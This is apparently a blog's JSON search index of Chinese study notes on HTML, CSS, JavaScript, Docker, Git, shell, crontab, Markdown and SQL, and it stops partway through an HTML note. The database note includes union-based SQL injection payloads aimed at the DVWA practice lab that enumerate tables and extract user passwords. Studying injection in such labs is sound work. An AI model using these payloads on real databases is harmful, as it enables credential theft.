-
Notifications
You must be signed in to change notification settings - Fork 0
/
content.json
1 lines (1 loc) · 103 KB
/
content.json
1
[{"title":"web-basic","path":"2024/04/09/Code/web-basic/","text":"Web-basicHtml<p href="">text</p> 这个标签中 p为元素 href为属性 text为文本 <!DOCTYPE html> <html> <head> <meta charset=\"UTF-8\"> <title> 页面标题</title> </head> <body> <h1>我的第一个标题</h1> <p>我的第一个段落。</p> </body> </html> <!--这是注释--> 速查<!DOCTYPE html> <html> <head> <title>文档标题</title> </head> <body> 可见文本... </body> </html> <h1>最大的标题</h1> <h2> . . . </h2> <h3> . . . </h3> <h4> . . . </h4> <h5> . . . </h5> <h6>最小的标题</h6> <p>这是一个段落。</p> <br> (换行) <hr> (水平线) <!-- 这是注释 --> <!--文本格式化--> <b>粗体文本</b> <u>下划线文本</u> <code>计算机代码</code> <em>强调文本</em> <i>斜体文本</i> <kbd>键盘输入</kbd> <pre>预格式化文本</pre> <small>更小的文本</small> <strong>重要的文本</strong> <abbr> (缩写) <address> (联系信息) <bdo> (文字方向) <blockquote> (从另一个源引用的部分) <cite> (工作的名称) <del> (删除的文本) <ins> (插入的文本) <sub> (下标文本) <sup> (上标文本) <!--链接--> 普通的链接:<a href=\"http://www.example.com/\">链接文本</a> 图像链接: <a href=\"http://www.example.com/\"><img src=\"URL\" alt=\"替换文本\"></a> 邮件链接: <a href=\"mailto:[email protected]\">发送e-mail</a> 书签: <a id=\"tips\">提示部分</a> <a href=\"#tips\">跳到提示部分</a> <!--图片--> <img src=\"URL\" alt=\"替换文本\" height=\"42\" width=\"42\"> <!--样式--> <style type=\"text/css\"> h1 {color:red;} p {color:blue;} </style> <div>文档中的块级元素</div> <span>文档中的内联元素</span> <!--列表--> <!--无序--> <ul> <li>项目</li> <li>项目</li> </ul> <!--有序--> <ol> <li>第一项</li> <li>第二项</li> </ol> <!--定义(缩进)--> <dl> <dt>项目 1</dt> <dd>描述项目 1</dd> <dt>项目 2</dt> <dd>描述项目 2</dd> </dl> <!--表格--> <!-- tr(table row) th(table header) td(table data)--> <table border=\"1\"> <tr> <th>表格标题</th> <th>表格标题</th> </tr> <tr> <td>表格数据</td> <td>表格数据</td> </tr> </table> <!--框架--> <iframe src=\"demo_iframe.htm\"></iframe> <!--表单(forms)--> <form action=\"demo_form.php\" method=\"post/get\"> <input type=\"text\" name=\"email\" size=\"40\" maxlength=\"50\"> <input type=\"password\"> <input type=\"checkbox\" checked=\"checked\"> <input type=\"radio\" checked=\"checked\"> <input type=\"submit\" value=\"Send\"> <input type=\"reset\"> <input type=\"hidden\"> <select> <option>苹果</option> <option selected=\"selected\">香蕉</option> <option>樱桃</option> </select> <textarea name=\"comment\" rows=\"60\" cols=\"20\"></textarea> </form> &lt; 等同于 < &gt; 等同于 > &#169; 等同于 © 标签 单标签无内容,双标签有内容 标签内通用属性:id, class, style 元素 块元素: 布局页面<div> <p> <h1>… <h6> <ul> <ol> <dl> <li> <table> <form>, 占据一定大小,手动设置大小(默认占一行),分多行排列 行内元素: 网页内容<span> <a> <strong> <em><br> <input>, 根据内容设置大小,同行排列 行内块元素(属于行内元素,横向排列但可以设置大小): <img>, 可以设置大小,同行排列 <!DOCTYPE>声明不区分大小写 <!doctype html> <!Doctype Html> <!DOCTYPE html> <!DOCTYPE HTML> 均可以 <head>头部,可以添加<title>, <style>, <meta>, <link>, <script>, <noscript> 和 <base> <title> 文档的标题 <base> 设置链接标签的默认链接 <head> <base href=\"http://www.runoob.com/images/\" target=\"_blank\"> </head> <link> 标记文档与外部资源关系,常用于链接引用css <head> <link rel=\"stylesheet\" type=\"text/css\" href=\"mystyle.css\"> </head> <style> 可以直接通过css渲染html,此种方法为内联样式 <head> <style type=\"text/css\"> body{ background-color:yellow; } p { color:blue } </style> </head> <meta> 定义基本元数据,会被解析单不会被渲染显示 <meta name=\"keywords\" contents=\"\"> <meta name=\"description\" content=\"\"> <meta name=\"author\" content=\"\"> <meta http-equiv=\"refresh\" content=\"30\"> #每30s刷新网页,可定义基本行为 <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"> #设定缩放比率 <h1>-<h6> 标题 <p></p> 段落 <a href=”” target=”{_self, _blank, _top, _parent}” ></a> 链接 <img src=”” width=”” height=”” alt=”图片未加载时的替代文本”> 图片 <div>创建一个块 <span>标记文本,便于样式化 <form> button 定义可点击的按钮(通常与 JavaScript 一起使用来启动脚本)。 checkbox 定义复选框。 colorNew 定义拾色器。 dateNew 定义 date 控件(包括年、月、日,不包括时间)。 datetimeNew 定义 date 和 time 控件(包括年、月、日、时、分、秒、几分之一秒,基于 UTC 时区)。 datetime-localNew 定义 date 和 time 控件(包括年、月、日、时、分、秒、几分之一秒,不带时区)。 emailNew 定义用于 e-mail 地址的字段。 file 定义文件选择字段和 “浏览…” 按钮,供文件上传。 hidden 定义隐藏输入字段。 image 定义图像作为提交按钮。 monthNew 定义 month 和 year 控件(不带时区)。 numberNew 定义用于输入数字的字段。 password 定义密码字段(字段中的字符会被遮蔽)。 radio 定义单选按钮。 rangeNew 定义用于精确值不重要的输入数字的控件(比如 slider 控件)。 reset 定义重置按钮(重置所有的表单值为默认值)。 searchNew 定义用于输入搜索字符串的文本字段。 submit 定义提交按钮。 telNew 定义用于输入电话号码的字段。 text 默认。定义一个单行的文本字段(默认宽度为 20 个字符)。 timeNew 定义用于输入时间的控件(不带时区)。 urlNew 定义用于输入 URL 的字段。 weekNew 定义 week 和 year 控件(不带时区)。 表单,用于输入和交互 <form action=\"#\"> <!--同submit行为对应--> <input type=\"text\" placeholder=\"输入内容提示\"><br> <label>邮箱:</label><br> <input type=\"email\"><br> <!--label中通过for和id绑定,方便进行样式化--> <label for=\"username\">用户名:</label><br> <input type=\"text\" id=\"username\"><br> <label for=\"password\">密码:</label><br> <input type=\"password\" id=\"password\"><br> <label>是否登录</label><br> <!--radio单选框通过name实现单选,同一个name下为单选效果--> <!--多选框为checkbox,同一个name下为多选效果--> <input type=\"radio\" name=\"login\">是 <input type=\"radio\" name=\"login\">否<br> <input type=\"checkbox\" name=\"multiple\">1<br> <input type=\"checkbox\" name=\"multiple\">2<br> <input type=\"checkbox\" name=\"multiple\">3<br> <input type=\"button\" name=\"button\" value=按钮><br> <input type=\"submit\" value=\"提交\" onclick=\"{在此调用函数}\"> </form> 邮箱: 用户名: 密码: 是否登录 是 否 1 2 3 Css内部样式(标签内style=)内联样式(html中写入css代码)和外部样式(外部链接css代码) 优先级:内部>内联>外部 内部 <p style=\"color: red;font-size: 16px;\"> 内联 <style> p { color: red; font-size: 16px; } </style> 外部 <link rel=\"stylesheet\" type=\"text/css\" href=\"./css/style.css\"> #./css/style.css p { color: red; font-size: 16px; } 格式选择器 { color: red; font-size: 16px; } 选择器 id > 类 > 标签名 元素选择器 标签名 { } 类选择器 .类名 { } ID选择器 #id { } 通用选择器(选择所有) * { } 子元素选择器(父类中指定子类) <div class=\"father\"> <p class=\"son\">子元素选择器示例</p> </div> .father > .son { } 后代选择器(类似派生两次后的子类,不属于派生一次的子类,即派生中不会继承子元素选择器)(父类中指定标签)<div class=\"father\"> <p class=\"son\">子元素选择器示例</p> <div> <p class>后代选择器示例</p> </div> </div> .father p { } 相邻元素选择器 <h3></h3> <p></p> h3 + p { } /* 选择下方相邻的标签 块 + 行内 { } */ 伪类选择器(实现交互效果) #类名:hover{ } #类名:{hover, first-child, nth-child(第n个子元素), :active} 选择器 示例 示例说明 :checked input:checked 选择所有选中的表单元素 :disabled input:disabled 选择所有禁用的表单元素 :empty p:empty 选择所有没有子元素的p元素 :enabled input:enabled 选择所有启用的表单元素 :first-of-type p:first-of-type 选择的每个 p 元素是其父元素的第一个 p 元素 :in-range input:in-range 选择元素指定范围内的值 :invalid input:invalid 选择所有无效的元素 :last-child p:last-child 选择所有p元素的最后一个子元素 :last-of-type p:last-of-type 选择每个p元素是其母元素的最后一个p元素 :not(selector) :not(p) 选择所有p以外的元素 :nth-child(n) p:nth-child(2) 选择所有 p 元素的父元素的第二个子元素 :nth-last-child(n) p:nth-last-child(2) 选择所有p元素倒数的第二个子元素 :nth-last-of-type(n) p:nth-last-of-type(2) 选择所有p元素倒数的第二个为p的子元素 :nth-of-type(n) p:nth-of-type(2) 选择所有p元素第二个为p的子元素 :only-of-type p:only-of-type 选择所有仅有一个子元素为p的元素 :only-child p:only-child 选择所有仅有一个子元素的p元素 :optional input:optional 选择没有”required”的元素属性 :out-of-range input:out-of-range 选择指定范围以外的值的元素属性 :read-only input:read-only 选择只读属性的元素属性 :read-write input:read-write 选择没有只读属性的元素属性 :required input:required 选择有”required”属性指定的元素属性 :root root 选择文档的根元素 :target #news:target 选择当前活动#news元素(点击URL包含锚的名字) :valid input:valid 选择所有有效值的属性 :link a:link 选择所有未访问链接 :visited a:visited 选择所有访问过的链接 :active a:active 选择正在活动链接 :hover a:hover 把鼠标放在链接上的状态 :focus input:focus 选择元素输入后具有焦点 :first-letter p:first-letter 选择每个 元素的第一个字母 :first-line p:first-line 选择每个 元素的第一行 :first-child p:first-child 选择器匹配属于任意元素的第一个子元素的 元素 :before p:before 在每个元素之前插入内容 :after p:after 在每个元素之后插入内容 :lang(language) p:lang(it) 为元素的lang属性选择一个开始值 伪元素选择器(指定元素进行特殊处理) /* 将p标签首字母大写并显示为红色 */ p::first-letter { color: red; font-size:xx-large } 选择器 示例 示例说明 :link a:link 选择所有未访问链接 :visited a:visited 选择所有访问过的链接 :active a:active 选择正在活动链接 :hover a:hover 把鼠标放在链接上的状态 :focus input:focus 选择元素输入后具有焦点 :first-letter p:first-letter 选择每个 元素的第一个字母 :first-line p:first-line 选择每个 元素的第一行 :first-child p:first-child 选择器匹配属于任意元素的第一个子元素的 元素 :before p:before 在每个元素之前插入内容 :after p:after 在每个元素之后插入内容 :lang(language) p:lang(it) 为元素的lang属性选择一个开始值 属性复合属性和独立属性 <p style=\"font: bolder 509x 'Jet Brains mono';\">复合属性一个属性设置多个样式</p> <p style=\"line-height: 50px;\"></p> <!--设置行间距--> <div display: inline; background-color: ;></div> <!--块元素转换为行内元素--> <div display: inline-block; background-color: ;></div> <!--块元素转换为行内块元素--> <span display: block; background-color: ;></span> <!--行内元素转换为块元素--> <!-- display:{inline, inline-block, block} --> 盒子 边距大小值: 25px 50px 75px 100px 内容 Cotent 内边距 Padding .class: { padding: 25px 25px; } .class1 { padding-bottom: 25px; } 边框 Border /* 顺时针,对位替代(没有左用右代替,没有下用上代替) */ .class { border: 5px solid red; border-radius: 25px; /* 创建圆角 */ border-shadow: 10px 0 0 0 aqua; } .class1 { background-color: red; border-style: solid dotted dashed double; border-width: 10px 0 0 0; border-color: bludviolet; border-collapse: collapse; /* 合并边框 */ } .class2 { border-left: 5px red solid; } dotted: 定义一个点线边框 dashed: 定义一个虚线边框 solid: 定义实线边框 double: 定义两个边框。 两个边框的宽度和 border-width 的值相同 groove: 定义3D沟槽边框。效果取决于边框的颜色值 ridge: 定义3D脊边框。效果取决于边框的颜色值 inset:定义一个3D的嵌入边框。效果取决于边框的颜色值 outset: 定义一个3D突出边框。 效果取决于边框的颜色值 外边距 Margin .class { margin: 0px; } .class1 { margin-top: 0px; } 布局方式 标准流 默认html布局 浮动 只会在父元素内浮动 选择器 { float: left/right/none; } 父元素无法无法容纳盒子时重新排列会出现坍塌 <div class=father> <div class=son1>son1</div> <div class=son2>son2</div> </div> .father { /* width:150px */ } .son1 { width: 100px; height: 100px; float:left; } .son2 { width: 100px; height: 100px; float: right; } 通过清除浮动解决 /* 伪元素解决 */ .father::after { clear:both; /* 对不想被浮动影响的内容使用 */ } /* 父元素内解决 */ .father { overflow: hidden; } 定位 static relative fixed absolute sticky .class { position: relative /* 相对正常位置移动,保留原本所占空间,不会脱离文档流 */ top: left: right: bottom: } .class { position: absolute; /* 会覆盖元素,不占据原本文档流空间,等于新加图层,相对父元素位置(无父元素则相对页面) */ } .class { position: static; /* 默认值,没有更改定位 */ } .class { position: fixed; /* 不占据文档流空间,新加图层,相对浏览器位置 */ } Flebox 和 Grid 响应式布局 rem/* html { font-size: 20px; } */ selector { width: 5rem; height: 5rem; /* 根据倍率相对html中font-size来调整大小,为5倍 */ } 根据设备宽度自动更改font-size function resetHtmlFontSize() { document.documentElement.style.fontSize = screen.width / 10 + 'px'; } resetHtmlFontSize(); window.onresize = resetHtmlFontSize; Flex交叉轴为垂直于主轴的的轴线 selector { display: flex; justify-content: align-items: stretch|center|flex-start(排列起点)|flex-end(排列终点)|baseline(主轴)|initial|inherit; align-content: stretch|center|flex-start(排列起点)|flex-end(排列终点)|baseline|initial|inherit;(相比items为整体) } justify-content: center; /* 居中排列 */ justify-content: start; /* 从行首开始排列 */ justify-content: end; /* 从行尾开始排列 */ justify-content: flex-start; /* 从行首起始位置开始排列 */ justify-content: flex-end; /* 从行尾位置开始排列 */ justify-content: left; /* 一个挨一个在对齐容器得左边缘 */ justify-content: right; /* 元素以容器右边缘为基准,一个挨着一个对齐, */ justify-content: space-between; /* 均匀排列每个元素 首个元素放置于起点,末尾元素放置于终点 */ justify-content: space-around; /* 均匀排列每个元素 每个元素周围分配相同的空间,两侧都有空间属于当前元素 */ justify-content: space-evenly; /* 均匀排列每个元素 每个元素之间的间隔相等 */ justify-content: stretch; /* 均匀排列每个元素 'auto'-sized 的元素会被拉伸以适应容器的大小 */ display:flex; flex-flow:row-reverse wrap; # 为flex-wrap,flex-direction复合 flex-basis: 伸缩基准值 number auto initial 为元素本来的属性,不会被父类更改 inherit 不从父类继承 flex-direction: 方向 row 左-右 row-reverse 右-左 column 上-下 column-reverse 下-上 initial 为元素本来的属性,不会被父类更改 inherit 不从父类继承 flex-wrap:换行 nowrap wrap wrap-reverse initial 为元素本来的属性,不会被父类更改 inherit 不从父类继承 flex-grow: 设置相对其他元素放大的比率 number 倍数 initial inherit flex-shrink: 设置相对其他元素缩小的比率 number 倍数 initial inherit Javascript 内部 <script></script> 外部 <script src:\"./tmp.js\"></script> 变量 var 函数作用域 let 块作用域 const 块作用域 事件处理 onClick 点击 onMouseOver 鼠标经过 onMouseOut 鼠标移出 onChange 文本内容改变 onSelect 文本框选中 onFocus 光标聚集 onBlur 移开光标 <button onclick=\"click_event()\"> <script> function click_event() { } </script> </button> <!-- onclick(this)=function(this)可以将自己的元素传入function,在js中定义function是需要添加一个参数来接受实参 DOMgraph TD Document-->A[Root element: &lthtml&gt]-->B[element: &lthead&gt]-->C[element: &lttitle&gt]-->D[text: &quottitle&quot] A-->E[element: &ltbody&gt]-->F[element: &lta&gt]-->F'[attribute: &quothref&quot] F-->G[text: &quotlink&quot] E-->H[element: &lth1&gt]-->I[text: &quotheader&quot] Document Object Model 网页加载时候会创建文档树,DOM提供了接口可以通过javascript对DOM进行操作 document.getElementById('id'); document.getElementByClassName('class'); element_id.innerHTML = '修改id选择器标签的文本内容'; //带有html标签,可以嵌入链接 element_class.innerText = '修改后的类选择文本' //修改为为纯文本 DOM绑定事件 <button>button</button> var button_element = document.getElementsByTagName('button') button_element.onclick = function() { alert('通过DOM触发script') } button_element.addEventListener('click', function() { alert('通过addEventListner 触发') }) DOM创建节点 appendChild() 添加新节点到指定节点 removeChild() 删除子节点 replaceChild() 替换子节点 insertBefore() 在指定子节点前插入如新子节点 createAttribute() 创建属性节点 createElement() 创建元素节点 createTextNode() 创建文本节点 getAttribute() 返回指定属性值"},{"title":"Crontab","path":"2023/09/05/Network/Server/devops/Crontab/","text":"Crontab* * * * * - - - - - | | | | | | | | | +----- 星期中星期几 (0 - 6) (星期天 为0) | | | +---------- 月份 (1 - 12) | | +--------------- 一个月中的第几天 (1 - 31) | +-------------------- 小时 (0 - 23) +------------------------- 分钟 (0 - 59) 其中 f1 是表示分钟,f2 表示小时,f3 表示一个月份中的第几日,f4 表示月份,f5 表示一个星期中的第几天。program 表示要执行的程序。 当 f1 为 * 时表示每分钟都要执行 program,f2 为 * 时表示每小时都要执行程序,其馀类推 当 f1 为 a-b 时表示从第 a 分钟到第 b 分钟这段时间内要执行,f2 为 a-b 时表示从第 a 到第 b 小时都要执行,其馀类推 当 f1 为 */n 时表示每 n 分钟个时间间隔执行一次,f2 为 */n 表示每 n 小时个时间间隔执行一次,其馀类推 当 f1 为 a, b, c,… 时表示第 a, b, c,… 分钟要执行,f2 为 a, b, c,… 时表示第 a, b, c…个小时要执行,其馀类推 特殊符号 含义 *(星号) 代表任何时间。比如第一个”*”就代表一小时种每分钟都执行一次的意思。 ,(逗号) 代表不连续的时间。比如”0 8,12,16***命令”就代表在每天的 8 点 0 分、12 点 0 分、16 点 0 分都执行一次命令。 -(中杠) 代表连续的时间范围。比如”0 5 ** 1-6命令”,代表在周一到周六的凌晨 5 点 0 分执行命令。 /(正斜线) 代表每隔多久执行一次。比如”/10***命令”,代表每隔 10 分钟就执行一次命令。 使用/进行每配置需要将每配置的前置位置零,以免整点时刻多次重复指令"},{"title":"Docker","path":"2023/09/05/Network/Server/devops/Docker/","text":"Docker仓库登录:docker login 登出:docker logout 查找镜像:docker search [镜像名] 镜像查看镜像:docker images 使用镜像生成容器:docker run [镜像名] #docker run 参数 -v [主机路径]:[容器路径] #将容器路径挂载到主机 -P #容器内部端口随机映射到主机端口 -p [主机端口]:[容器端口] #将特定容器端口映射到特定主机端口 --name [容器名字] #容器命名 删除镜像:docker rmi [镜像名] 容器查看容器:docker ps -a 删除容器:docker rm [容器名] 进入容器:docker exec -it [容器序号/容器名字] /bin/bash / docker exec -it [容器序号] /bin/sh -i:interact 交互操作 -t:terminal 终端 -d:down 后台运行 启动已有容器:docker restart [container] 停止已有容器运行:docker stop [container] sudo aa-remove-unknown(遇到permission denied) 容器链接(容器网络)网络创建与加入创建网络: docker network create -d bridge [网络桥名字] docker network create -d overlay [网络隧道名] 加入网络: 创建容器时: docker run -itd --name [容器名] --network [网络名] [镜像名] [/bin/bash(终端环境)] 已有容器时加入: docker network connect [network_name] [container_name] 网络dns配置主机的/etc/docker/daemon.json可以配置容器默认dns配置 查看容器dns: docker run -it --rm [container] cat etc/resolv.conf 手动指定容器dns: docker run -it --rm -h [容器主机名] --dns=[dns_ip] --dns-search=test.com [container] 参数: --rm:容器退出时自动清理容器内部的文件系统。 -h HOSTNAME 或者 --hostname=HOSTNAME: 设定容器的主机名,它会被写到容器内的 /etc/hostname 和 /etc/hosts。 --dns=IP_ADDRESS: 添加 DNS 服务器到容器的 /etc/resolv.conf 中,让容器用这个服务器来解析所有不在 /etc/hosts 中的主机名。 --dns-search=DOMAIN: 设定容器的搜索域,当设定搜索域为 .example.com 时,在搜索一个名为 host 的主机时,DNS 不仅搜索 host,还会搜索 host.example.com。 "},{"title":"Git教程","path":"2023/09/04/Code/Git教程/","text":"Git教程git像一个可排序的栈,栈顶在最底端,只能对最近的提交进行更改,如果要更改之前的数据就需要排序 所有操作除了switch,checkout都是在引用当前所在位置进行 提交记录本身的名字为hash值 commitgit commit创建一个新的版本(不是完全copy,只会记录不同) git commit --amend对提交记录进行修改 branch git branch <branch_name> <branch_position> branch指向一个commit git branch -f main head~3 git branch -f main c0 git branch -f 可以变更分支指向 git switch <branch_name> 切换到某一分支 使用分支移动分支也会跟随者移动 merge/rebasemerge拉取合并 git merge 1 此时branch在main则拉取1的代码到main,branch仍在main rebase合并到,并复制提交记录 git rebase 1 则把main合并到1的开发路线上,branch在main rebase不会移动下层的版本,只会移动引用当前所在的版本 git rebase -i head~3 选中包含head引用位置3个commit,通过gui进行删减,排序,处理后的结果会出现在一条新的路线上(基为head~3) -i变动当前版本到基版本的所有版本 git rebase -参数 基版本 head即为当前引用所在位置 git checkout 1 将head指向1 head指向一次提交记录commit head作为引用使用要大写HEAD checkoutgit checkout -b totallyNotMain o/main git checkout -b 选择分支 追踪分支(会创建分支,不需要提前创建好) 可以使某一分支追踪远程某一分支,相当于替换了main 也可以使用 git branch -u 追踪分支 选择分支(不会创建分支,需要提前创建) 相对引用^向上移动一个提交记录 ~num 向上移动num个移动记录 git checkout main^ ==可以使用分支代表提交记录commit== ^2可以选择第二个父提交 指令支持链式操作 git checkout HEAD~^2~2 撤销变更git reset git revert git reset head^是commit退回到前一个记录,删除当前记录,引用变更到前一个记录 git revert head^在此路线上添加一个新的commit,但是新的commit实际上和前一个相同 ==两条命令都是对当前引用所在位置进行操作== 整理分支git cherry-pick c2 c4 将c2,c4按顺序复制到引用当前所在分支下 Tag(避免分支移动造成混乱)git tag v1 c1 在c1上添加v1 tag describegit describe <引用> output:__g 远程clonegit clone复制远程仓库 首次clone会自动将main和o/main引用到同一位置 main和o/maincheckout o/main 再进行commit时,由于未下载远程仓库数据,会造成HEAD分离,即o/main只有同步时才会发生指向变化 远程分支o/main(o/*)实际上是远程main分支的位置 fetchgit fetch 不会更新main分支,只是将远程仓库代码下载,更新了o/main引用 不需要参数,会自动比对下载 git fetch origin <远程选定分支:本地选定分支>(可以使用相对引用) git fetch origin <:本地分支>会创建本地分支 pull就是fetch+merge git pull 实际上就是git fetch ; git merge o/main 会拉取代码自动合并 是在当前分支下进行拉取,所以o/main不在当前位置会因不同步而无法拉取 git pull --rebase以变基形式拉取代码合并main分支,利用此特性可以实现整条分支的变基 可以使用类似fetch的git pull <远程分支:本地分支> git pull <:本地分支> push与pull相反,会上传代码,无自动合并,如果本地仓库旧版需要更新后再push git push origin <选定分支> 将HEAD定位到头部,自动追踪选定分支上传 git push origin <本地选定分支:远程选定分支> 将本地选定分支上传到远程选定分支,若远程不存在则会创建 可以使用相对引用不上传整条分支git push origin <本地选定分支^:远程选定分支> 只会上传到本地选定的上方 git push <:远程分支> 会删除远程分支"},{"title":"Shell语法","path":"2023/09/04/Code/Shell语法/","text":"Shell语法文件描述符0 标准输入 1 标准输出,指向屏幕 2 标准错误输出(log属于) 运算符>` 输出重定向,右移,实际上是`1>` `将左边语句的输出覆盖写入到右边文件内,相当于`** | tee some_text.txt >>` 输出追加重定向,右右移,将左边语句的输出添加到右边文件末尾,相当于`** | tee -a some_text.txt < 输入重定向 command < file 从文件中读入 << 输入追加重定向 command << EOF 读入后续输入直到EOF (可以用作给指令添加退出条件) cat << EOF > tmp 1 2 3 EOF #则tmp中为 1 2 3 | 管道,将左方语句输出作为右方语句输入 || 或或,左方语句执行失败才执行右方语句 & 与,左方语句无论执行是否失败都会执行右方语句,会执行所有与起来的语句。 放在结尾为则是让程序后台执行 && 与与,左方语句执行失败则不会再执行右方语句,若成功则执行右方语句 ! 条件表达式的非 >& 文件操作符号, eg:2>&1 , 2>1会将错误输出重定向到名为1的文件中,&为了定义后面的1是文件描述符 &< 用法:echo "hello" > a.log 2>&1 1被重定向到a.log,2被重定向到a.log,等于2被重定向到1,目的是在log记录正常输出和错误输出 可以简写为echo "hello" >&log 或 echo "hello" &>log 2&>1 >log 是无效输入,导致error被写入1文件中 -a 条件表达式的并列(与) -o 条件表达式的或 $ 后面接变量名称整体表示一个变量 "" '' `` `` 反引号,指令内部嵌套指令使用,可以用$(command)代替 echo -e 可以识别转义字符 条件if []; do command; done 循环#for循环 for i in {1..5}; do command; done for 变量名(此处可以定义变量,未出现的变量会被定义) in 取值列表{1..10} do command done #while循环(出现条件一直执行) while[条件] do command done #until循环(出现条件结束) until[条件] do command done 权限linux安全系统为SELinux(Security-Enhanced Linux),可管理文件权限 ls -lZht-rw-r--r--. 1 user group unconfined_u:object_r:user_home_t:s0 4096 Sep 27 10:30 file.txt unconfined_u:object_r:user_home_t:s0 是文件和目录的安全上下文。它包含了有关文件或目录所属用户、角色、对象类以及安全级别的信息。 unconfined_u:表示该文件或目录所属的SELinux用户。unconfined_u是一个特殊的用户标识,表示未受限制的用户,即没有受到严格的SELinux策略限制。 object_r:表示该文件或目录所属的SELinux对象角色。对象角色定义了SELinux策略中允许操作该对象的角色集合。 user_home_t:表示该文件或目录的SELinux对象类型。对象类型定义了文件或目录的用途和允许的操作。user_home_t是一个常见的对象类型,用于表示用户的家目录。 s0:表示该文件或目录的SELinux安全级别。安全级别用于控制对象的访问权限,并根据访问规则进行限制。 eg: systemd_unit_file_t是SELinux中的一个对象类型,用于表示systemd单元文件的安全上下文。 更改SELinux文件权限chcon 更改文件的安全上下文: chcon unconfined_u:object_r:user_home_t:s0 file.txt 递归地更改目录及其所有子目录和文件的安全上下文: chcon -R unconfined_u:object_r:user_home_t:s0 directory/ 更改符号链接的安全上下文: chcon -h unconfined_u:object_r:user_home_t:s0 symlink 设置目标安全上下文类型: chcon -t httpd_sys_content_t index.html 与chown区别chown用于更改基本的文件所有者:组权限,是基础文件系统的权限 chcon是在SELinux上更改文件权限"},{"title":"markdown语法","path":"2023/09/04/Code/markdown语法/","text":"一级标题二级标题三级标题四级标题(以此类推最高六级)换行语法第一行第二行第三行 直接回车也可以 强调语法 斜体 粗体 斜粗体 列表有序列表 1 2 3 无序列表 第一 第二 第三 加号 也可以用减号和星号 分割线 三条分割线 再来三条 竖分割线用于附言 > dsds dsds 饼图pie title pie \"50%\":50 \"30%\":30 \"20%\":20 甘特图gantt dateFormat 2022-09-20 title gantt section A task1 :done,dest1,2022-09-20,3d task2 :active,dest2,2022-09-21,3d task3 :crit,active,after des2,5d 流程图 TB - 从上到下 top-bottom BT - 从下到上 RL - 从右到左 right-left LR - 从左到右 TD - 与TB相同 graph LR id1((start圆形))--直线-->A A-.虚线.->B A-->C[\\平行四边形\\]-->D[/平行四边形/]-->E[/梯形\\]-->F[\\梯形/] A-->G{菱形} B---|无箭头直线|i(圆角矩形) G-->|直线注释另一种写法|H{{六边形}}-->I>标签] graph TD id1(纵向)-->A markdown语法标题语法 # 一级标题 ## 二级标题 ### 三级标题 以此类推 强调语法 ~~内容~~中划线 *内容*斜体 **内容**粗体 ***内容***斜粗体 列表语法有序列表1. 内容 2. 会自动生成(记得空格) 无序列表- 内容 + 内容 * 内容 都可以生成无序列表 markdown可以内嵌html<p></p> <font color=></font> <u></u> <tr></tr> <td></td> .............. 分割线--- 减号 \\*\\*\\* 星号 \\_\\_\\_ 下划线 均可以 代码语法`your_codes` ```select_language your codes ``` 标注上标[^标注内容] 你好[^1] html内嵌 1 下标~标注内容~ 你好1 划线删除线~~内容~~ 你好 下划线html内嵌语法:<u>内容</u> 你好 上划线latex内嵌语法: $代码$ $\\overline{A}$ $\\widehat$ $\\hat{A}$ $\\widetilde{A}$ $\\dot{A}$ $\\ddot{A}$ $\\overline{A}$$\\widehat{A}$$\\hat{A}$$\\widetilde{A}$$\\dot{A}$$\\ddot{A}$"},{"title":"数据库","path":"2023/09/04/Sql/数据库/","text":"数据库 关系型:与表格相似mysql,Oracle,microsoft sql server , acess 非关系型:分布式,不保证遵循acid原则,MongoDb、Redis、HBase 约束类型 主键约束(primary key):保证该字段具有非空且唯一性,一张表中只能由一个主键,主键是表中字段唯一标识 非空约束(not null):保证字段不为空 唯一约束(unique):保证该字段具有唯一性,但是可以为null 外键约束(foreign key):一个表中存在的另一个表的主键或唯一键成为此表的外键 默认约束(default):保证该字段有默认值 Mysql数据库连接数据库mysql -u [database_name] -p [password] 查询数据库show database 创建数据库create [database_name] 删除数据库drop [database_name] 进入数据库use [database_name] 表table查表show tables 查看表描述desc [table_name] 增删查改 增:insert into 表名(键1,键2……) values(值1,值2……) 多组字段 insert into 表名(key1,key2……) values(value1,value2)(value3,value4) 改:update 表名 set 键名='值' where 条件(列值) 删: 物理删除:delete from 表名 where 条件 逻辑删除 查: select *(列名) from 表名 select 列 from 表 where 条件 select 列 from 表 by 某列 ASC(升序)/DESC(降序) select GROUP_CONTACT(列) from 表 where 以行形式显示查询结果 select 列 from 表 order by 数字 显示的键数量,大于现有报错,小于则正常显示 select 列 from 表 limit 5 限制显示前5行 select 列 from 表 limit 5(偏移量),10(显示行数) 限制显示6-15行 select 数字(其他任意内容),数字(其他任意内容)…… 会根据显示位输出输入内容,数据库回显的列数固定,要满足显示位才有回显 SQL注入注入位置注入位置:GET,POST,HEAD头 字符串有单引号括上,数字无单引号 单引号可用#注释掉 unionunion 关键字,联合查询,把两个select语句合并为一条语句,显示为一个结果。 联合查询下,两个select要相同字段数量(union要求查询表的列数和字段类型一致) union all将全部数据直接合并在一起 union对合并之后的数据去重 information_schema 查询字段信息 注入流程 查询数据库类型(报错,datebase()) 查库名 查表名 查列名 获取信息 查数据库类型select * from 表名 where id='1' union select 1,database() 查询数据库表内容0' union select 1,table_name from information_schema.tables where table_schema='dvwa 查列名0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users 查信息0' union select user,password from users# 返回所有数据select * from 表明 where id=1 or 1=1"},{"title":"conda修改安装路径","path":"2023/09/04/Code/Python/conda修改安装路径/","text":"conda修改安装路径Winconda = F:\\conda %userprofile%/.condarc channels: - defaults show_channel_urls: true default_channels: - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/msys2 custom_channels: conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud menpo: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud pytorch-lts: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud simpleitk: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud envs_dirs: - F:\\conda\\envs F:\\conda\\Lib\\site.py #搜索修改这两个变量 USER_SITE = \"F:\\conda\\lib\\site-packages\" USER_BASE = \"F:\\conda\\Scripts\" conda升级 conda update conda && conda update --all"},{"title":"html","path":"2023/09/04/Code/Html/html/","text":"HTML笔记头<!doctype html> <html> <head> <title>*****************</title> </head> <body> 